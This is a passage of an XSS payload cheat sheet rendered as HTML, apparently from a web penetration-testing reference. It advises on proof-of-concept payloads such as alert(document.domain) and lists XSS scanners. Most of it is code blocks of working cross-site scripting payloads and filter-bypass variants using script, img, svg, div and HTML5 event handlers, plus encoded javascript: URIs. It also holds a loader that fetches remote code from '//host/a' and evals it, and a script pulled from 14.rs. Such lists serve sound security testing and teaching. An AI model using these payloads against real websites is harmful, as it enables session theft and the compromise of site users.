<li><a href="http://www.xss-payloads.com/payloads/scripts/redirectform.js.html">Redirect Form</a></li>
|
||
<li><a href="http://www.xss-payloads.com/payloads/scripts/playmusic.js.html">Play Music</a></li>
|
||
</ul>
|
||
<h2 id="identify-an-xss-endpoint">Identify an XSS endpoint</h2>
|
||
<p>This payload opens the debugger in the developer console rather than triggering a popup alert box.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="k">debugger</span><span class="p">;</span><span class="o"><</span><span class="err">/script></span>
|
||
</code></pre></div>
|
||
<p>Modern applications with content hosting can use <a href="https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html">sandbox domains</a></p>
|
||
<blockquote>
|
||
<p>to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.</p>
|
||
</blockquote>
|
||
<p>For this reason, it's better to use <code>alert(document.domain)</code> or <code>alert(window.origin)</code> rather than <code>alert(1)</code> as default XSS payload in order to know in which scope the XSS is actually executing.</p>
|
||
<p>Better payload replacing <code><script>alert(1)</script></code>:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="nx">alert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="s2">"\n"</span><span class="p">).</span><span class="nx">concat</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">origin</span><span class="p">))</</span><span class="nt">script</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<p>While <code>alert()</code> is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so <code>console.log()</code> can be used instead to display a message in the console of the developer console (doesn't require any interaction).</p>
|
||
<p>Example:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">"Test XSS from the search bar of page XYZ\n"</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p">).</span><span class="nx">concat</span><span class="p">(</span><span class="s2">"\n"</span><span class="p">).</span><span class="nx">concat</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">origin</span><span class="p">))</</span><span class="nt">script</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<p>References:</p>
|
||
<ul>
|
||
<li><a href="https://sites.google.com/site/bughunteruniversity/nonvuln/xss-in-sandbox-domain">Google Bughunter University - XSS in sandbox domains</a></li>
|
||
<li><a href="https://www.youtube.com/watch?v=KHwVjzWei1c">LiveOverflow Video - DO NOT USE alert(1) for XSS</a></li>
|
||
<li><a href="https://liveoverflow.com/do-not-use-alert-1-in-xss/">LiveOverflow blog post - DO NOT USE alert(1) for XSS</a></li>
|
||
</ul>
|
||
<h3 id="tools">Tools</h3>
|
||
<p>Most tools are also suitable for blind XSS attacks:</p>
|
||
<ul>
|
||
<li><a href="https://github.com/s0md3v/XSStrike">XSSStrike</a>: Very popular but unfortunately not very well maintained</li>
|
||
<li><a href="https://github.com/epsylon/xsser">xsser</a>: Utilizes a headless browser to detect XSS vulnerabilities</li>
|
||
<li><a href="https://github.com/hahwul/dalfox">Dalfox</a>: Extensive functionality and extremely fast thanks to the implementation in Go</li>
|
||
<li><a href="https://github.com/hahwul/XSpear">XSpear</a>: Similar to Dalfox but based on Ruby</li>
|
||
<li><a href="https://github.com/fcavallarin/domdig">domdig</a>: Headless Chrome XSS Tester</li>
|
||
</ul>
|
||
<h2 id="xss-in-htmlapplications">XSS in HTML/Applications</h2>
|
||
<h3 id="common-payloads">Common Payloads</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="c1">// Basic payload</span>
|
||
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">alert</span><span class="p">(</span><span class="s1">'XSS'</span><span class="p">)</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="o"><</span><span class="nx">scr</span><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">ipt</span><span class="o">></span><span class="nx">alert</span><span class="p">(</span><span class="s1">'XSS'</span><span class="p">)</span><span class="o"><</span><span class="err">/scr<script>ipt></span>
|
||
<a id="__codelineno-8-4" name="__codelineno-8-4" href="#__codelineno-8-4"></a><span class="s2">"><script>alert('XSS')</script></span>
|
||
<a id="__codelineno-8-5" name="__codelineno-8-5" href="#__codelineno-8-5"></a><span class="s2">"</span><span class="o">><</span><span class="nx">script</span><span class="o">></span><span class="nx">alert</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">88</span><span class="p">,</span><span class="mf">83</span><span class="p">,</span><span class="mf">83</span><span class="p">))</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-8-6" name="__codelineno-8-6" href="#__codelineno-8-6"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">\u0061lert</span><span class="p">(</span><span class="s1">'22'</span><span class="p">)</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-8-7" name="__codelineno-8-7" href="#__codelineno-8-7"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nb">eval</span><span class="p">(</span><span class="s1">'\x61lert(\'33\')'</span><span class="p">)</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-8-8" name="__codelineno-8-8" href="#__codelineno-8-8"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nb">eval</span><span class="p">(</span><span class="mf">8680439.</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">30</span><span class="p">))(</span><span class="mf">983801.</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">36</span><span class="p">))</span><span class="o"><</span><span class="sr">/script> /</span><span class="o">/</span><span class="nb">parseInt</span><span class="p">(</span><span class="s2">"confirm"</span><span class="p">,</span><span class="mf">30</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">8680439</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="mf">8680439.</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">30</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">"confirm"</span>
|
||
<a id="__codelineno-8-9" name="__codelineno-8-9" href="#__codelineno-8-9"></a><span class="o"><</span><span class="nx">object</span><span class="o">/</span><span class="nx">data</span><span class="o">=</span><span class="s2">"jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;"</span><span class="o">></span>
|
||
<a id="__codelineno-8-10" name="__codelineno-8-10" href="#__codelineno-8-10"></a>
|
||
<a id="__codelineno-8-11" name="__codelineno-8-11" href="#__codelineno-8-11"></a><span class="c1">// Img payload</span>
|
||
<a id="__codelineno-8-12" name="__codelineno-8-12" href="#__codelineno-8-12"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="nx">x</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="s1">'XSS'</span><span class="p">);</span><span class="o">></span>
|
||
<a id="__codelineno-8-13" name="__codelineno-8-13" href="#__codelineno-8-13"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="nx">x</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="s1">'XSS'</span><span class="p">)</span><span class="c1">//</span>
|
||
<a id="__codelineno-8-14" name="__codelineno-8-14" href="#__codelineno-8-14"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="nx">x</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">88</span><span class="p">,</span><span class="mf">83</span><span class="p">,</span><span class="mf">83</span><span class="p">));</span><span class="o">></span>
|
||
<a id="__codelineno-8-15" name="__codelineno-8-15" href="#__codelineno-8-15"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="nx">x</span><span class="w"> </span><span class="nx">oneonerrorrror</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">88</span><span class="p">,</span><span class="mf">83</span><span class="p">,</span><span class="mf">83</span><span class="p">));</span><span class="o">></span>
|
||
<a id="__codelineno-8-16" name="__codelineno-8-16" href="#__codelineno-8-16"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="nx">x</span><span class="o">:</span><span class="nx">alert</span><span class="p">(</span><span class="nx">alt</span><span class="p">)</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="nb">eval</span><span class="p">(</span><span class="nx">src</span><span class="p">)</span><span class="w"> </span><span class="nx">alt</span><span class="o">=</span><span class="nx">xss</span><span class="o">></span>
|
||
<a id="__codelineno-8-17" name="__codelineno-8-17" href="#__codelineno-8-17"></a><span class="s2">"><img src=x onerror=alert('XSS');></span>
|
||
<a id="__codelineno-8-18" name="__codelineno-8-18" href="#__codelineno-8-18"></a><span class="s2">"</span><span class="o">><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="nx">x</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">88</span><span class="p">,</span><span class="mf">83</span><span class="p">,</span><span class="mf">83</span><span class="p">));</span><span class="o">></span>
|
||
<a id="__codelineno-8-19" name="__codelineno-8-19" href="#__codelineno-8-19"></a><span class="o"><><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="mf">1</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-8-20" name="__codelineno-8-20" href="#__codelineno-8-20"></a>
|
||
<a id="__codelineno-8-21" name="__codelineno-8-21" href="#__codelineno-8-21"></a><span class="c1">// Svg payload</span>
|
||
<a id="__codelineno-8-22" name="__codelineno-8-22" href="#__codelineno-8-22"></a><span class="o"><</span><span class="nx">svg</span><span class="w"></span><span class="nx">onload</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-8-23" name="__codelineno-8-23" href="#__codelineno-8-23"></a><span class="o"><</span><span class="nx">svg</span><span class="o">/</span><span class="nx">onload</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="s1">'XSS'</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-8-24" name="__codelineno-8-24" href="#__codelineno-8-24"></a><span class="o"><</span><span class="nx">svg</span><span class="w"> </span><span class="nx">onload</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="c1">//</span>
|
||
<a id="__codelineno-8-25" name="__codelineno-8-25" href="#__codelineno-8-25"></a><span class="o"><</span><span class="nx">svg</span><span class="o">/</span><span class="nx">onload</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">88</span><span class="p">,</span><span class="mf">83</span><span class="p">,</span><span class="mf">83</span><span class="p">))</span><span class="o">></span>
|
||
<a id="__codelineno-8-26" name="__codelineno-8-26" href="#__codelineno-8-26"></a><span class="o"><</span><span class="nx">svg</span><span class="w"> </span><span class="nx">id</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="w"> </span><span class="nx">onload</span><span class="o">=</span><span class="nb">eval</span><span class="p">(</span><span class="nx">id</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-8-27" name="__codelineno-8-27" href="#__codelineno-8-27"></a><span class="s2">"><svg/onload=alert(String.fromCharCode(88,83,83))></span>
|
||
<a id="__codelineno-8-28" name="__codelineno-8-28" href="#__codelineno-8-28"></a><span class="s2">"</span><span class="o">><</span><span class="nx">svg</span><span class="o">/</span><span class="nx">onload</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="sr">/XSS/</span><span class="p">)</span>
|
||
<a id="__codelineno-8-29" name="__codelineno-8-29" href="#__codelineno-8-29"></a><span class="o"><</span><span class="nx">svg</span><span class="o">><</span><span class="nx">script</span><span class="w"> </span><span class="nx">href</span><span class="o">=</span><span class="nx">data</span><span class="o">:</span><span class="p">,</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="w"> </span><span class="o">/></span><span class="p">(</span><span class="sb">`Firefox`</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">only</span><span class="w"> </span><span class="nx">browser</span><span class="w"> </span><span class="nx">which</span><span class="w"> </span><span class="nx">allows</span><span class="w"> </span><span class="nx">self</span><span class="w"> </span><span class="nx">closing</span><span class="w"> </span><span class="nx">script</span><span class="p">)</span>
|
||
<a id="__codelineno-8-30" name="__codelineno-8-30" href="#__codelineno-8-30"></a><span class="o"><</span><span class="nx">svg</span><span class="o">><</span><span class="nx">script</span><span class="o">></span><span class="nx">alert</span><span class="p">(</span><span class="s1">'33'</span><span class="p">)</span>
|
||
<a id="__codelineno-8-31" name="__codelineno-8-31" href="#__codelineno-8-31"></a><span class="o"><</span><span class="nx">svg</span><span class="o">><</span><span class="nx">script</span><span class="o">></span><span class="nx">alert</span><span class="o">&</span><span class="nx">lpar</span><span class="p">;</span><span class="s1">'33'</span><span class="o">&</span><span class="nx">rpar</span><span class="p">;</span>
|
||
<a id="__codelineno-8-32" name="__codelineno-8-32" href="#__codelineno-8-32"></a>
|
||
<a id="__codelineno-8-33" name="__codelineno-8-33" href="#__codelineno-8-33"></a><span class="c1">// Div payload</span>
|
||
<a id="__codelineno-8-34" name="__codelineno-8-34" href="#__codelineno-8-34"></a><span class="o"><</span><span class="nx">div</span><span class="w"> </span><span class="nx">onpointerover</span><span class="o">=</span><span class="s2">"alert(45)"</span><span class="o">></span><span class="nx">MOVE</span><span class="w"> </span><span class="nx">HERE</span><span class="o"><</span><span class="err">/div></span>
|
||
<a id="__codelineno-8-35" name="__codelineno-8-35" href="#__codelineno-8-35"></a><span class="o"><</span><span class="nx">div</span><span class="w"> </span><span class="nx">onpointerdown</span><span class="o">=</span><span class="s2">"alert(45)"</span><span class="o">></span><span class="nx">MOVE</span><span class="w"> </span><span class="nx">HERE</span><span class="o"><</span><span class="err">/div></span>
|
||
<a id="__codelineno-8-36" name="__codelineno-8-36" href="#__codelineno-8-36"></a><span class="o"><</span><span class="nx">div</span><span class="w"> </span><span class="nx">onpointerenter</span><span class="o">=</span><span class="s2">"alert(45)"</span><span class="o">></span><span class="nx">MOVE</span><span class="w"> </span><span class="nx">HERE</span><span class="o"><</span><span class="err">/div></span>
|
||
<a id="__codelineno-8-37" name="__codelineno-8-37" href="#__codelineno-8-37"></a><span class="o"><</span><span class="nx">div</span><span class="w"> </span><span class="nx">onpointerleave</span><span class="o">=</span><span class="s2">"alert(45)"</span><span class="o">></span><span class="nx">MOVE</span><span class="w"> </span><span class="nx">HERE</span><span class="o"><</span><span class="err">/div></span>
|
||
<a id="__codelineno-8-38" name="__codelineno-8-38" href="#__codelineno-8-38"></a><span class="o"><</span><span class="nx">div</span><span class="w"> </span><span class="nx">onpointermove</span><span class="o">=</span><span class="s2">"alert(45)"</span><span class="o">></span><span class="nx">MOVE</span><span class="w"> </span><span class="nx">HERE</span><span class="o"><</span><span class="err">/div></span>
|
||
<a id="__codelineno-8-39" name="__codelineno-8-39" href="#__codelineno-8-39"></a><span class="o"><</span><span class="nx">div</span><span class="w"> </span><span class="nx">onpointerout</span><span class="o">=</span><span class="s2">"alert(45)"</span><span class="o">></span><span class="nx">MOVE</span><span class="w"> </span><span class="nx">HERE</span><span class="o"><</span><span class="err">/div></span>
|
||
<a id="__codelineno-8-40" name="__codelineno-8-40" href="#__codelineno-8-40"></a><span class="o"><</span><span class="nx">div</span><span class="w"> </span><span class="nx">onpointerup</span><span class="o">=</span><span class="s2">"alert(45)"</span><span class="o">></span><span class="nx">MOVE</span><span class="w"> </span><span class="nx">HERE</span><span class="o"><</span><span class="err">/div></span>
|
||
</code></pre></div>
|
||
<h3 id="xss-using-html5-tags">XSS using HTML5 tags</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="o"><</span><span class="nx">body</span><span class="w"> </span><span class="nx">onload</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="sr">/XSS/</span><span class="p">.</span><span class="nx">source</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="o"><</span><span class="nx">input</span><span class="w"> </span><span class="nx">autofocus</span><span class="w"> </span><span class="nx">onfocus</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="o"><</span><span class="nx">select</span><span class="w"> </span><span class="nx">autofocus</span><span class="w"> </span><span class="nx">onfocus</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a><span class="o"><</span><span class="nx">textarea</span><span class="w"> </span><span class="nx">autofocus</span><span class="w"> </span><span class="nx">onfocus</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a><span class="o"><</span><span class="nx">keygen</span><span class="w"> </span><span class="nx">autofocus</span><span class="w"> </span><span class="nx">onfocus</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-9-6" name="__codelineno-9-6" href="#__codelineno-9-6"></a><span class="o"><</span><span class="nx">video</span><span class="o">/</span><span class="nx">poster</span><span class="o">/</span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-9-7" name="__codelineno-9-7" href="#__codelineno-9-7"></a><span class="o"><</span><span class="nx">video</span><span class="o">><</span><span class="nx">source</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="s2">"javascript:alert(1)"</span><span class="o">></span>
|
||
<a id="__codelineno-9-8" name="__codelineno-9-8" href="#__codelineno-9-8"></a><span class="o"><</span><span class="nx">video</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="nx">_</span><span class="w"> </span><span class="nx">onloadstart</span><span class="o">=</span><span class="s2">"alert(1)"</span><span class="o">></span>
|
||
<a id="__codelineno-9-9" name="__codelineno-9-9" href="#__codelineno-9-9"></a><span class="o"><</span><span class="nx">details</span><span class="o">/</span><span class="nx">open</span><span class="o">/</span><span class="nx">ontoggle</span><span class="o">=</span><span class="s2">"alert`1`"</span><span class="o">></span>
|
||
<a id="__codelineno-9-10" name="__codelineno-9-10" href="#__codelineno-9-10"></a><span class="o"><</span><span class="nx">audio</span><span class="w"> </span><span class="nx">src</span><span class="w"> </span><span class="nx">onloadstart</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-9-11" name="__codelineno-9-11" href="#__codelineno-9-11"></a><span class="o"><</span><span class="nx">marquee</span><span class="w"> </span><span class="nx">onstart</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-9-12" name="__codelineno-9-12" href="#__codelineno-9-12"></a><span class="o"><</span><span class="nx">meter</span><span class="w"> </span><span class="nx">value</span><span class="o">=</span><span class="mf">2</span><span class="w"> </span><span class="nx">min</span><span class="o">=</span><span class="mf">0</span><span class="w"> </span><span class="nx">max</span><span class="o">=</span><span class="mf">10</span><span class="w"> </span><span class="nx">onmouseover</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span><span class="mf">2</span><span class="w"> </span><span class="nx">out</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="mf">10</span><span class="o"><</span><span class="err">/meter></span>
|
||
<a id="__codelineno-9-13" name="__codelineno-9-13" href="#__codelineno-9-13"></a>
|
||
<a id="__codelineno-9-14" name="__codelineno-9-14" href="#__codelineno-9-14"></a><span class="o"><</span><span class="nx">body</span><span class="w"> </span><span class="nx">ontouchstart</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span><span class="w"> </span><span class="c1">// Triggers when a finger touch the screen</span>
|
||
<a id="__codelineno-9-15" name="__codelineno-9-15" href="#__codelineno-9-15"></a><span class="o"><</span><span class="nx">body</span><span class="w"> </span><span class="nx">ontouchend</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span><span class="w"> </span><span class="c1">// Triggers when a finger is removed from touch screen</span>
|
||
<a id="__codelineno-9-16" name="__codelineno-9-16" href="#__codelineno-9-16"></a><span class="o"><</span><span class="nx">body</span><span class="w"> </span><span class="nx">ontouchmove</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span><span class="w"> </span><span class="c1">// When a finger is dragged across the screen.</span>
|
||
</code></pre></div>
|
||
<h3 id="xss-using-a-remote-js">XSS using a remote JS</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="p"><</span><span class="nt">svg</span><span class="err">/</span><span class="na">onload</span><span class="o">=</span><span class="s">'fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'</span><span class="p">></span>
|
||
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">14.rs</span><span class="p">></span>
|
||
<a id="__codelineno-10-3" name="__codelineno-10-3" href="#__codelineno-10-3"></a><span class="c1">// you can also specify an arbitrary payload with 14.rs/#payload</span>
|
||
<a id="__codelineno-10-4" name="__codelineno-10-4" href="#__codelineno-10-4"></a>e.g: 14.rs/#alert(document.domain)
|
||
</code></pre></div>
|
||
<h3 id="xss-in-hidden-input">XSS in hidden input</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="o"><</span><span class="nx">input</span><span class="w"> </span><span class="nx">type</span><span class="o">=</span><span class="s2">"hidden"</span><span class="w"> </span><span class="nx">accesskey</span><span class="o">=</span><span class="s2">"X"</span><span class="w"> </span><span class="nx">onclick</span><span class="o">=</span><span class="s2">"alert(1)"</span><span class="o">></span>
|
||
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="nx">Use</span><span class="w"> </span><span class="nx">CTRL</span><span class="o">+</span><span class="nx">SHIFT</span><span class="o">+</span><span class="nx">X</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">trigger</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">onclick</span><span class="w"> </span><span class="nx">event</span>
|
||
</code></pre></div>
|
||
<h3 id="xss-when-payload-is-reflected-capitalized">XSS when payload is reflected capitalized</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="o"><</span><span class="nx">IMG</span><span class="w"> </span><span class="nx">SRC</span><span class="o">=</span><span class="mf">1</span><span class="w"> </span><span class="nx">ONERROR</span><span class="o">=&</span><span class="err">#</span><span class="nx">X61</span><span class="p">;</span><span class="o">&</span><span class="err">#</span><span class="nx">X6C</span><span class="p">;</span><span class="o">&</span><span class="err">#</span><span class="nx">X65</span><span class="p">;</span><span class="o">&</span><span class="err">#</span><span class="nx">X72</span><span class="p">;</span><span class="o">&</span><span class="err">#</span><span class="nx">X74</span><span class="p">;(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
</code></pre></div>
|
||
<h3 id="dom-based-xss">DOM based XSS</h3>
|
||
<p>Based on a DOM XSS sink.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="err">#"</span><span class="o">><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="err">/ onerror=alert(2)></span>
|
||
</code></pre></div>
|
||
<h3 id="xss-in-js-context">XSS in JS Context</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="o">-</span><span class="p">(</span><span class="nx">confirm</span><span class="p">)(</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p">)</span><span class="c1">//</span>
|
||
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="p">;</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">);</span><span class="c1">//</span>
|
||
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a><span class="c1">// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)</span>
|
||
</code></pre></div>
|
||
<h2 id="xss-in-wrappers-javascript-and-data-uri">XSS in wrappers javascript and data URI</h2>
|
||
<p>XSS with javascript:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="nx">javascript</span><span class="o">:</span><span class="nx">prompt</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span>
|
||
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a>
|
||
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23106</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">2397</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23118</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">2397</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23115</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">2399</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23114</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23105</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23112</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23116</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">2358</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">2399</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23111</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23110</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23102</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23105</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23114</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">23109</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">2340</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">2349</span><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">2341</span>
|
||
<a id="__codelineno-15-4" name="__codelineno-15-4" href="#__codelineno-15-4"></a>
|
||
